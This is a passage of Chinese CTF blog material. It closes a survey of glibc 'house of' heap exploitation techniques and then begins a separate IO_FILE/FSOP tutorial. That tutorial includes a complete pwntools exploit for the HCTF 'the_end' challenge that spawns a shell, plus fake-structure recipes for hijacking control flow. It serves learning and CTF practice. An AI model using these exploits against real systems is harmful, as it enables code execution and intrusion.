  • 构造出堆重叠,为后续利用做准备

2.17-house of rust

漏洞成因

堆溢出

适用范围

  • 2.26—— 至今
  • 可以进行 tcache stash unlinking 攻击
  • 可以进行 largebin attack
  • 不需要泄露地址

利用原理

原作者的博客写得很复杂,我这里提炼出关键信息。该技巧就是 tcachebin stash unlinking+largebin attack 的组合技巧。

首先需要知道 tcachebin stash unlinking,下面称之为 TSU 技巧:

  • tcachebin[A] 为空
  • smallbin[A]8
  • 修改第 8smallbin chunkbkaddr
  • 分配 malloc(A) 的时候,addr+0x10 会被写一个 libc 地址

还要知道 tcachebin stash unlinking+,下面称之为 TSU+ 技巧:

  • tcachebin[A] 为空
  • smallbin[A]8
  • 修改第 7smallbin chunkbkaddr,还要保证 addr+0x18 是一个合法可写的地址
  • 分配 malloc(A) 的时候,addr 会被链入到 tcachebin,也就是可以分配到 addr

0x90 大小的 chunk 为例,此时的 tcache_key 还是指向 tcache_perthread_struct + 0x10 的:

  • 第一步,把 tcachebin[0x90] 填满,把 smallbin[0x90] 也填满
  • 第二步,把最后一个 smallbin 0x90chunksize 改成 0xb0,将其释放到 tcachebin[0xb0],这一步主要是为了改变其 bk 指向 tcache_perthread_struct + 0x10,可以部分修改低位的字节,以便下一步分配到目标区域
  • 第三步,使用 largebin attack 往上一步的 bk->bk 写一个合法地址,然后耗尽 tcachebin[0x90],再分配的时候就会触发 TSU+,之后就能分配到 tcache_perthread_struct 结构体
  • 第四步,还是堆风水,但是用 TSU 技术,在 tcache_perthread_struct 上写一个 libc 地址(比前面一步要简单很多)
  • 第五步,通过控制 tcache_perthread_struct 结构体,部分写上面的 libc 地址,分配到 stdout 结构体,泄露信息
  • 第六步,通过控制 tcache_perthread_struct 结构体分配到任意地址

上面的过程最好的情况下需要爆破 1/16,最差 1/256

但是,2.34 之后,tcache_key 是一个随机数,不是 tcache_perthread_struct + 0x10 了。

所以,此时可以加上 largebin attack,把以上的第二步变为:继续用 largebin attack 向其 bk 写一个堆地址,然后还要部分写 bk 使其落在 tcache_perthread_struct 区域。其他步骤一样。

或者,在 smallbin 里面放 9 个,这样第 8 个的 bk 肯定就是一个堆地址。此时就需要爆破 1/16 的堆,1/16glibc 地址,成功的概率是 1/256

相关技巧

  • 总的来说,就是利用 tcachebin stash unlinkingtcache_perthread_struct
  • 利用 largebin attack 构造合法地址

利用效果

  • 任意地址分配
  • 任意函数执行

2.18-house of crust

漏洞成因

堆溢出

适用范围

  • 2.26——2.37
  • 可以进行 tcache stash unlinking 攻击
  • 可以进行 largebin attack
  • 不需要泄露地址

利用原理

其他步骤和上面的 house of rust 一样,但是到第五步的时候,去修改 global_max_fast

后面的步骤和 house of corrosion 是一样的,通过写原语打 stderr 修改 one_gadget 拿到 shell

相关技巧

  • house of crust = house of corrosion + house of rust
  • 2.37 之后,house of corrosion 使用受限

2.19-house of io

漏洞成因

堆溢出

适用范围

  • 2.26—— 至今

利用原理

其他博客上对该方法的介绍如下:

1 The tcache_perthread_object is allocated when the heap is created. Furthermore, it is stored right at the heap's beginning (at a relatively low memory address). The safe-linking mitigation aims to protect the fd/next pointer within the free lists. However, the head of each free-list is not protected. Additionally, freeing a chunk and placing it into the tcachebin also places a non-protected pointer to the appropriate tcache entry in the 2nd qword of a chunks' user data. The House of IO assumes one of three scenarios for the bypass to work. First, any attacker with a controlled linear buffer underflow over a heap buffer, or a relative arbitrary write will be able to corrupt the tcache. Secondly, a UAF bug allowing to read from a freed tcache eligible chunk leaks the tcache and with that, the heap base. Thirdly, a badly ordered set of calls to free(), ultimately passing the address of the tcache itself to free, would link the tcache into the 0x290 sized tcachebin. Allocating it as a new chunk would mean complete control over the tcache's values.

可以看出来,其实就是对 tcache_perthread_struct 结构体的攻击,想办法将其释放掉,然后再申请回来,申请回来的时候就能控制整个 tcache 的分配。

相关技巧

  • 围绕 tcache_perthread_struct 进行攻击

利用效果

  • 任意地址分配

2.20-house of banana

漏洞成因

堆溢出

适用范围

  • 2.23—— 至今
  • 可以进行 largebin attack
  • 能执行 exit 函数

利用原理

首先是 largebin attack 在高版本只能从下面这个分支利用:

也就是,双链表里面至少存在一个 largebin chunk,且目前要入链的 chunk 比最小的还小,修改了 bk_nextsize 之后就会触发。可以造成任意地址写堆地址。

然后是 exit 调用的时候,会调用到_dl_fini 函数,执行每个 so 中注册的 fini 函数:

可以触发 call 的有两个点,第一个点可以 call 到很多指针,是一个数组;另一个点就只有一个函数。

剩下的工作就是根据代码绕过检测,调用到调用点。

所以,利用的思路有:

  • 直接伪造_rtld_global_ns_loaded,布局好其他内容,使其调用到 fini_array
  • 伪造 link_mapnext 指针,布局好其他内容,使其调用到 fini_array
  • 修改 link_map->l_addr,根据偏移使其调用到指定区域的函数

相关技巧

  • 伪造 fini_array 数组的时候,是从后往前遍历的
  • 有时候远程的 rtld_global 的偏移与本地不一样,需要爆破
  • 如果不想逐个伪造,可以直接用 gdb 从内存里面 dump 出来,然后基于偏移修改内存即可

利用效果

  • 任意代码执行

2.21-house of kiwi

漏洞成因

堆溢出

适用范围

  • 2.23——2.36
  • malloc 流程中触发 assert

利用原理

主要是提供了一种在程序中调用 IO 流函数的思路:

可以看到,调用到了 fxprintffflush

至于原 house of kiwi 所提到的控制 rdx 的思路,在很多版本中无法使用,因为 IO_jumps_table 都是不可写的,故此处不再详述。

相关技巧

  • 2.36 之后,__malloc_assert 被修改为:
1 2 3 4 5 6 7 8 9 _Noreturn static void __malloc_assert (const char *assertion, const char *file, unsigned int line, const char *function) { __libc_message (do_abort, "\ Fatal glibc error: malloc assertion failure in %s: %s\n", function, assertion); __builtin_unreachable (); }

而在 2.37 该函数直接被删掉了。

  • 如果 stderrlibc 上,需要修改调 stderr 处的指针,也有可能在程序的地址空间上

  • 伪造的技巧如下,触发 fxprintf(stderr,......)

    | 1 2 3 4 5 | flags & 0x8000的话,不用伪造_lock flags & ~(0x2 | 0x8) 必须成立,避免走到unbuffered的流程 mode 设置为0 vtable默认调用的是偏移0x38的函数,如果想劫持为_IO_xxx_overflow,需要设置为_IO_xxx_jumps-0x20 flags 可以设置为" sh||",前面有两个空格,此时还需要设置_lock,不想设置_lock的时候,flags可以为"\x20\x80;sh||" |
    | ———— | ———————————————————— |
    | | |

利用效果

  • 触发 IO 处理流程,为后续利用做准备

2.22-house of emma

漏洞成因

堆溢出

适用范围

  • 2.23—— 至今
  • 可以进行两次 largebin attack
  • 或者可以进行两次任意地址写堆地址
  • 可以触发 IO 流操作

利用原理

_IO_cookie_jumps 中存在一些_IO_cookie_read 等函数,如下:

可以看到有函数指针的调用。但是对函数指针使用 pointer_guard 进行了加密:

循环右移后,再异或。

因此,利用思路如下:

  • 截至某个 IO_FILE 的指针(IO_list_all/stdxxx->chain 等都可以)为堆地址
  • 堆上伪造 IO_FILE 结构,其 vtable 替换为_IO_cookie_jumps+XXXX 为一个偏移量
  • 伪造好函数指针和调用参数,指针需要循环异或和加密
  • 调用到_IO_cookie_read 等函数,进而执行任意函数

相关技巧

  • 常用的 gadget 有:
  • pointer_guard 就在 canary 下面,偏移可能需要爆破

利用效果

  • 任意函数执行

2.23-house of pig

漏洞成因

堆溢出

适用范围

  • 2.23—— 至今
  • 可以进行 largebin attack
  • 可以触发 IO 流操作

利用原理

_IO_str_jumps 中,存在着_IO_str_overflow 函数:

从函数中就能看到,利用流程如下:

  • 伪造 IO_FILE_IO_buf_base
  • 合理控制_IO_buf_end-_IO_buf_base 的值,进而控制分配的 chunk 的大小,分配到布局好的地址
  • memcpy 中覆盖地址,如可以覆盖__malloc_hook/__free_hook

该方法需要结合其他堆利用技术,需要保证 malloc 分配出来的 chunk 的地址是可控的。该方法主要提供了对 IO 系列函数中间接调用 mallc/free/memcpy 的组合利用。

相关技巧

  • 可以 largebin attack 打掉 mp_.tcachebins,进而能把很大的 chunk 也放进入 tcache 进行管理
  • 高版本没有 hook 的话,可以利用 memcpy@got,通过覆写 got 来进行 rce
  • 可以多次 house of pig 组合调用

利用效果

  • 任意函数执行
  • ROP 控制程序执行流

2.24-house of obstack

漏洞成因

堆溢出

适用范围

  • 2.23—— 至今
  • 可以执行一次 largebin attack
  • 可以触发 IO 流操作

利用原理

一条新的利用链,伪造 vtable_IO_obstack_jumps,然后调用到_IO_obstack_xsputn,紧接着调用 obstack_grow,其代码为:

1 2 3 4 5 6 7 8 9 #define obstack_grow(OBSTACK, where, length) \ __extension__ \ ({ struct obstack *__o = (OBSTACK); \ int __len = (length); \ if (_o->next_free + __len > __o->chunk_limit) \ _obstack_newchunk (__o, __len); \ memcpy (__o->next_free, where, __len); \ __o->next_free += __len; \ (void) 0; })

然后在_obstack_newchunk 调用了 CALL_CHUNKFUN 这个宏

这个宏会调用到函数指针:

1 2 3 4 # define CALL_CHUNKFUN(h, size) \ (((h)->use_extra_arg) \ ? (*(h)->chunkfun)((h)->extra_arg, (size)) \ : (*(struct _obstack_chunk *(*)(long))(h)->chunkfun)((size)))

因此,其就是利用该函数指针进行控制程序的执行流。

相关技巧

伪造的 IO_FILE 布局如下:

  • 利用 largebin attack 伪造_IO_FILE,记完成伪造的 chunkA(或者别的手法)
  • chunk A 内偏移为 0xd8 处设为_IO_obstack_jumps+0x20
  • chunk A 内偏移为 0xe0 处设置 chunk A 的地址作为 obstack 结构体
  • chunk A 内偏移为 0x18 处设为 1next_free)
  • chunk A 内偏移为 0x20 处设为 0chunk_limit
  • chunk A 内偏移为 0x48 处设为 &/bin/sh
  • chunk A 内偏移为 0x38 处设为 system 函数的地址
  • chunk A 内偏移为 0x28 处设为 1_IO_write_ptr)
  • chunk A 内偏移为 0x30 处设为 0 (_IO_write_end)
  • chunk A 内偏移为 0x50 处设为 1 (use_extra_arg)

glibc-2.37 开始这个方法的调用链为:__printf_buffer_as_file_overflow -> __printf_buffer_flush -> __printf_buffer_flush_obstack->__obstack_newchunk

利用效果

  • 任意函数执行

2.25-house of apple1

漏洞成因

堆溢出

适用范围

  • 2.23—— 至今
  • 程序从 main 函数返回或能调用 exit 函数
  • 能泄露出 heap 地址和 libc 地址
  • 能使用一次 largebin attack(一次即可)

利用原理

利用_IO_wstr_overflow 将任意地址存储的值修改已知值:

比如修改 tcache 变量、mp_结构体、pointer_guard 变量等。

修改成功后,再使用其他技术控制程序执行流。

相关技巧

house of apple1 是对现有一些 IO 流攻击方法的补充,能在一次劫持 IO 流的过程中做到任意地址写已知值,进而构造出其他方法攻击成功的条件。

利用效果

  • 任意地址写已知堆地址

2.26-house of apple2

漏洞成因

堆溢出

适用范围

  • 2.23—— 至今
  • 已知 heap 地址和 glibc 地址
  • 能控制程序执行 IO 操作,包括但不限于:从 main 函数返回、调用 exit 函数、通过__malloc_assert 触发
  • 能控制_IO_FILEvtable_wide_data,一般使用 largebin attack 去控制

利用原理

_IO_WIDE_JUMPS 没有检查_wide_vtable 的合法性:

1 2 3 4 5 6 7 8 #define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH) #define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1) #define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS) #define _IO_WIDE_JUMPS(THIS) \ _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable

所以利用_IO_wfile_jumps 等伪造_wide_vtable 即可。

相关技巧

利用_IO_wfile_overflow 函数控制程序执行流时对 fp 的设置如下:

  • _flags 设置为 ~(2 | 0x8 | 0x800),如果不需要控制 rdi,设置为 0 即可;如果需要获得 shell,可设置为 sh;,注意前面有两个空格
  • vtable 设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap 地址(加减偏移),使其能成功调用_IO_wfile_overflow 即可
  • _wide_data 设置为可控堆地址 A,即满足 *(fp + 0xa0) = A
  • _wide_data->_IO_write_base 设置为 0,即满足 *(A + 0x18) = 0
  • _wide_data->_IO_buf_base 设置为 0,即满足 *(A + 0x30) = 0
  • _wide_data->_wide_vtable 设置为可控堆地址 B,即满足 *(A + 0xe0) = B
  • _wide_data->_wide_vtable->doallocate 设置为地址 C 用于劫持 RIP,即满足 *(B + 0x68) = C

利用效果

  • 任意函数执行

2.27-house of apple3

漏洞成因

堆溢出

适用范围

  • 2.23—— 至今
  • 已知 heap 地址和 glibc 地址
  • 能控制程序执行 IO 操作,包括但不限于:从 main 函数返回、调用 exit 函数、通过__malloc_assert 触发
  • 能控制_IO_FILEvtable_wide_data,一般使用 largebin attack 去控制

利用原理

__libio_codecvt_in 等函数,可以设置 gs->__shlib_handle == NULL 绕过 PTR_DEMANGLE 对指针的保护,然后通过_IO_wfile_underflow 调用到__libio_codecvt_in 来控制函数指针,执行任意代码。

相关技巧

利用_IO_wfile_underflow 函数控制程序执行流时对 fp 的设置如下:

  • _flags 设置为 ~(4 | 0x10)
  • vtable 设置为_IO_wfile_jumps 地址(加减偏移),使其能成功调用_IO_wfile_underflow 即可
  • fp->_IO_read_ptr < fp->_IO_read_end,即满足 *(fp + 8) < *(fp + 0x10)
  • _wide_data 保持默认,或者设置为堆地址,假设其地址为 A,即满足 *(fp + 0xa0) = A
  • _wide_data->_IO_read_ptr >= _wide_data->_IO_read_end,即满足 *A >= *(A + 8)
  • _codecvt 设置为可控堆地址 B,即满足 *(fp + 0x98) = B
  • codecvt->__cd_in.step 设置为可控堆地址 C,即满足 *B = C
  • codecvt->__cd_in.step->__shlib_handle 设置为 0,即满足 *C = 0
  • codecvt->__cd_in.step->__fct 设置为地址 D, 地址 D 用于控制 rip,即满足 *(C + 0x28) = D。当调用到 D 的时候,此时的 rdiC。如果_wide_data 也可控的话,rsi 也能控制。

利用效果

  • 任意函数执行

2.28-house of gods

漏洞成因

堆溢出

适用范围

  • 2.23——2.27
  • 泄露堆地址和 libc 地址
  • 任意大小分配

利用原理

这个技巧比较有意思,非常建议把作者的原博客读一下。我会简述一下该技巧的利用过程。

总的来说,该技巧最终的目的是伪造一个 fake arena,通过劫持 main_arena.next 字段完成。

其主要过程为:

  • 通过 binmap 的赋值,将其当做 chunksize,然后修改 unsortedbin 链的 bk 指向 binmap,作者选择的是 0x90 大小的 chunk,释放后恰好让 binmap 称为 0x200,然后 binmap->bkmain_arena(初始状态下 main_arena.next = &main_arena),然后 main_arena->bk= fastbin[0x40]
  • 分配 0x1f0 大小的 chunk 就刚好能分配到 binmap
  • 之后修改掉 main_arenasystem_mem 为很大的值和 next 指向 fake arena
  • 然后用 unsortedbin attack 打掉 narenas,将其改为一个很大的数
  • 然后分配两次 malloc(0xffffffffffffffbf + 1),触发 arena_get_retry,进而触发两次 reused_arena,就能把 fake arenathread_arena 变量
  • 最后直接伪造 fastbin 任意地址分配

相关技巧

  • 仅仅借助 unsortedbin 链就能控制 main_arenanextsystem_mem
  • 利用 binmap 的值构造出合法的 size

利用效果

  • 劫持 thread_arenafake_arena

3 - 总结

  • 总结了 28house of 系列利用手法
  • 给出了每种利用手法的影响版本、适用范围、利用原理等
  • 所有的利用方法都可以在源码中找到答案,因此强烈建议将源码反复阅读
  • 可以根据目前已有的技术提出新的组合技

4 - 参考

[1] 堆利用系列之 house of spirit - 安全客 - 安全资讯平台 (anquanke.com)

[2] shellphish/how2heap: A repository for learning various heap exploitation techniques. (github.com)

[3] Overview of GLIBC heap exploitation techniques (0x434b.dev)

[4] [原创] CTF 中 glibc 堆利用 及 IO_FILE 总结 - Pwn - 看雪论坛 - 安全社区 | 安全招聘 | bbs.pediy.com (kanxue.com)

[5] PWN——House Of Einherjar CTF Wiki 例题详解 - 安全客 - 安全资讯平台 (anquanke.com)

[6] Top chunk 劫持:House of force 攻击 - 安全客 - 安全资讯平台 (anquanke.com)

[7] House of Lore - CTF Wiki (ctf-wiki.org)

[8] House of orange - 安全客 - 安全资讯平台 (anquanke.com)

[9] house of rabbit

[10] House of Roman - CTF Wiki (ctf-wiki.org)

[11] House of storm 原理及利用 - 安全客 - 安全资讯平台 (anquanke.com)

[12] House-of-Corrosion 一种新的堆利用技巧 - 先知社区 (aliyun.com)

[13] house-of-husk 学习笔记 - 安全客 - 安全资讯平台 (anquanke.com)

[14] House of Muney 分析 - 安全客 - 安全资讯平台 (anquanke.com)

[15] 奇安信攻防社区 - 深入理解 House of Botcake 堆利用手法 (butian.net)

[16] c4ebt/House-of-Rust: The House of Rust is a heap exploitation technique that drops a shell against full PIE binaries that don’t leak any addresses. (github.com)

[17] house of banana - 安全客 - 安全资讯平台 (anquanke.com)

[18] House OF Kiwi - 安全客 - 安全资讯平台 (anquanke.com)

[19] house of emma

[20] house of pig 一个新的堆利用详解 - 安全客 - 安全资讯平台 (anquanke.com)

[21] 一条新的 glibc IO_FILE 利用链:_IO_obstack_jumps 利用分析 - 跳跳糖 (tttang.com)

[22] House of Apple 一种新的 glibc 中 IO 攻击方法 (1) - roderick - record and learn! (roderickchan.cn)

[23] House of Apple 一种新的 glibc 中 IO 攻击方法 (2) - roderick - record and learn! (roderickchan.cn)

[24] House of Apple 一种新的 glibc 中 IO 攻击方法 (3) - roderick - record and learn! (roderickchan.cn)

[25] GlibcHeap-house of muney - roderick - record and learn! (roderickchan.cn)

[26] house-of-gods/HOUSE_OF_GODS.TXT at master · Milo-D/house-of-gods (github.com)

【PWN】IO_FILE的利用

此篇简单的学习一下IO_File的利用

IO_FILE 的结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
_IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
# else
void *__pad1;
void *__pad2;
void *__pad3;
void *__pad4;
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};

IO_FILE实际上还包括在一个IO_FILE_plus中

1
2
3
4
5
struct _IO_FILE_plus
{
_IO_FILE file;
IO_jump_t *vtable;
}

在 libc2.23 版本下,32 位的 vtable 偏移为 0x94,64 位偏移为 0xd8

IO_FILE_plus结构通过链表链接

    初始时形成以下顺序:

_IO_list_all  -&gt; _IO_2_1_stderr_ -&gt;  _IO_2_1_stdout_  -&gt;  _IO_2_1_stdin_

_IO_list_all 是一个链表头

后面三个文件是三个自动open的文件,它们的文件描述符为2,1,0

stdin对应0,所以我们也可以猜想平常写的read(0,xxx,xxx)与write(1,xxx,xxx)是何含义,我们的io输入输出被抽象成了文件输入输出

假设我们open file,其会被插入到链表头位置,类似我们之前学的fastbin 插入。

它们会存在哪里?

自动开启的三个文件结构(IO_FILE_plus)会被存放在libc中,后续手动开启的则会被分配在堆区。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.data:00000000003C56F8                 dq offset _IO_file_jumps  // vtables
.data:00000000003C5700 public stderr
.data:00000000003C5700 stderr dq offset _IO_2_1_stderr_
.data:00000000003C5700 ; DATA XREF: LOAD:000000000000BAF0↑o
.data:00000000003C5700 ; fclose+F2↑r ...
.data:00000000003C5708 public stdout
.data:00000000003C5708 stdout dq offset _IO_2_1_stdout_
.data:00000000003C5708 ; DATA XREF: LOAD:0000000000009F48↑o
.data:00000000003C5708 ; fclose+E9↑r ...
.data:00000000003C5710 public stdin
.data:00000000003C5710 stdin dq offset _IO_2_1_stdin_
.data:00000000003C5710 ; DATA XREF: LOAD:0000000000006DF8↑o
.data:00000000003C5710 ; fclose:loc_6D340↑r ...
.data:00000000003C5718 dq offset sub_20B70
.data:00000000003C5718 _data ends
.data:00000000003C5718
.bss:00000000003C5720 ; ===========================================================================

那么什么是 *vtable项呢?

*vtable是一个指针,指向一个虚表。该虚表中存放了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void * funcs[] = {
1 NULL, // "extra word"
2 NULL, // DUMMY
3 exit, // finish
4 NULL, // overflow
5 NULL, // underflow
6 NULL, // uflow
7 NULL, // pbackfail

8 NULL, // xsputn #printf后面讲解执行流程章节会用到此处
9 NULL, // xsgetn
10 NULL, // seekoff
11 NULL, // seekpos
12 NULL, // setbuf
13 NULL, // sync
14 NULL, // doallocate
15 NULL, // read
16 NULL, // write
17 NULL, // seek
18 pwn, // close
19 NULL, // stat
20 NULL, // showmanyc
21 NULL, // imbue
};

我们还是随便打开一个程序,dbg看看它的示例吧

image.png

通过 p _IO_list_all 我们可以查看该符号的地址

p *(struct _IO_FILE_plus *) _IO_list_all

image.png

我们这里可以看到vtable项、fileno项与_chain项

_chain项指向下一个表,如stderr的chain的值就是stdout的地址,fileno存的就是该文件的文件描述符。

那么这个虚表是干什么的?

_IO_puts在过程当中调用了一个叫做_IO_sputn函数(_IO_fwrite也会调用这个),_IO_sputn其实是一个,它的作用就是调用_IO_2_1_stdout_中的vtable所指向的_xsputn,也就是_IO_new_file_xsputn函数

这个虚表存放在哪里?

这个虚表也存放在了data区,还记得上面有张图吧,其就在stderr的上面。

日常所用的输入输出函数会调用虚表中的函数

fread->_IO_XSGETN
fwrite->_IO_XSPUTN
fopen->malloc a new file struct->make file vtable->initialization file struct->puts initialzation file in file struct
fclose ->_IO_unlink_it->_IO_file_close_it->_IO_file_finish(_IO_FINISH)

如puts会调用虚表中的_xsputn,而经过一系列操作,最终会系统调用write。

利用_IO_2_1_stdout泄露libc

iofile的相关利用,有一个很重要的效果就是泄露libc。

设置flag位绕过检测

_flags = 0xFBAD1800

伪造 vtable 劫持程序流程
由于我们调用io函数时,其最终会指向vtable的函数。所以我们可以通过改变vtable对应项或改变vtable指针,使其指向可利用位置,再在相应位置填写目标函数。

在 libc2.23 之前,这些 vtable 是可以写入并且不存在其他检测的。换言之,2.23及以后,只能通过修改vtable指针再进行利用了。

举例2018 HCTF the_end

image.png

由于sleep函数地址泄露,所以可以获得基址,于是得到偏移后虚表指针地址,one_gadget地址。

题目拥有5字节任意地址修改能力。

本题我们利用的是:

  • 在程序调用 exit 后,会遍历 _IO_list_all ,调用 _IO_2_1_stdout_ 下的 vtable_setbuf 函数。

setbuf在虚表0x58偏移处。

所以我们覆盖虚表指针的数值为 伪造处地址-0x58

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
context(log_level = "debug",arch = "amd64")
filename='./the_end.the_end'
def connect():
global p,elf,libc
local = 1
if local:
p = process(['/mnt/e/CTF/PWN/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so', filename], env={"LD_PRELOAD":'/mnt/e/CTF/PWN/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6'})
# p = process(filename)
else:
p = remote("node4.buuoj.cn", 25550)
elf = ELF(filename)
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# libc = ELF("/mnt/hgfs/PWN/study_path/pwn_rm/pwn145_180/libc/64bit/libc-2.23.so")
# libc = ELF("/mnt/e/CTF/PWN/varctf/buuctf/exer/4/libc-2.27.so")
libc = ELF("/mnt/e/CTF/PWN/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6")

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda n :p.recv(n)
rl = lambda n :p.recvline(n)
ru = lambda x :p.recvuntil(x, drop=True)
r = lambda x :p.recv(x)
uu64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
itr = lambda :p.interactive()
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))

def dbg(addr):
gdb.attach(sh,'b *0x{}\nc\n'.format(addr))

def db():
gdb.attach(p)

def change(addr1,byte):
s(p64(addr1))
s(p8(byte))

def pwn():
ru("here is a gift ")
sleep = int(ru(", "),16)
leak("sleep",sleep)
libc_addr = sleep - libc.sym["sleep"]
lg("libc_base",libc_addr)

one_gadget = libc_addr + 0xf1247
stdout_vtable_ptr = libc_addr + libc.sym['_IO_2_1_stdout_']+0xd8
stderr_vtable_ptr = libc_addr + libc.sym['_IO_2_1_stderr_']+0xd8
lg("one_gadget",one_gadget)
lg("stdout_vtable_ptr",stdout_vtable_ptr)
lg("stderr_vtable_ptr",stderr_vtable_ptr)

fake_vtable_addr = stderr_vtable_ptr - 0x58 # fake虚表的位置
lg("fake_vtable_addr",fake_vtable_addr)
change(stdout_vtable_ptr,(fake_vtable_addr & 0xff))
change(stdout_vtable_ptr+1,((fake_vtable_addr >> 8) & 0xff)) #劫持stdout结构体的虚表指针指向fake table的位置(_IO_2_1_stderr_+128)

change(stderr_vtable_ptr,(one_gadget & 0xff))
change(stderr_vtable_ptr+1,((one_gadget >> 8) & 0xff))
change(stderr_vtable_ptr+2,((one_gadget >> 16) & 0xff))

sl("exec /bin/sh 1>&0")

p.interactive()



connect()
pwn()
'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''

stdout_vtable_ptr -> stderr_vtable_ptr - 0x58 (实际上是stderr_vtable_ptr虚表的位置)

stderr_vtable_ptr -> one_gadget

FSOP

File Stream Oriented Programming 面向文件流编程

FSOP 的核心思想就是劫持_IO_list_all 的值来伪造链表和其中的_IO_FILE 项,但是单纯的伪造只是构造了数据还需要某种方法进行触发。FSOP 选择的触发方法是调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow。

触发该函数需要绕过

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))

  • fp->_mode <= 0
  • fp->_IO_write_ptr > fp->_IO_write_base

而_IO_flush_all_lockp 不需要攻击者手动调用,在一些情况下这个函数会被系统调用:

  1. 当 libc 执行 abort 流程时

  2. 当执行 exit 函数时

  3. 当执行流从 main 函数返回时

ctfwiki给的示例很简单,具体利用有house of orange,后面再说。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#define _IO_list_all 0x7ffff7dd2520
#define mode_offset 0xc0
#define writeptr_offset 0x28
#define writebase_offset 0x20
#define vtable_offset 0xd8

int main(void)
{
void *ptr;
long long *list_all_ptr;

ptr=malloc(0x200);

*(long long*)((long long)ptr+mode_offset)=0x0;
*(long long*)((long long)ptr+writeptr_offset)=0x1;
*(long long*)((long long)ptr+writebase_offset)=0x0;
*(long long*)((long long)ptr+vtable_offset)=((long long)ptr+0x100);
*(long long*)((long long)ptr+0x100+24)=0x41414141;
list_all_ptr=(long long *)_IO_list_all;

list_all_ptr[0]=ptr;

exit(0);
}

glibc 2.24 下 IO_FILE 的利用

在 2.24 版本的 glibc 中,全新加入了针对 IO_FILE_plus 的 vtable 劫持的检测措施,glibc 会在调用虚函数之前首先检查 vtable 地址的合法性。首先会验证 vtable 是否位于_IO_vtable 段中,如果满足条件就正常执行,否则会调用_IO_vtable_check 做进一步检查。

fileno 与缓冲区的相关利用

由于fwrite等函数会最终调用io函数,其缓冲区的初地址有buf_base决定,所以如果修改buf_base与buf_end就可以实现任意地址输入。

_IO_str_jumps -> overflow

libc中不仅仅只有_IO_file_jumps这么一个vtable,还有一个叫_IO_str_jumps的 ,这个 vtable 不在 check 范围之内。如果我们能设置文件指针的 vtable_IO_str_jumps 么就能调用不一样的文件操作函数。

构造条件:

  1. fp->_flags & _IO_NO_WRITES为假
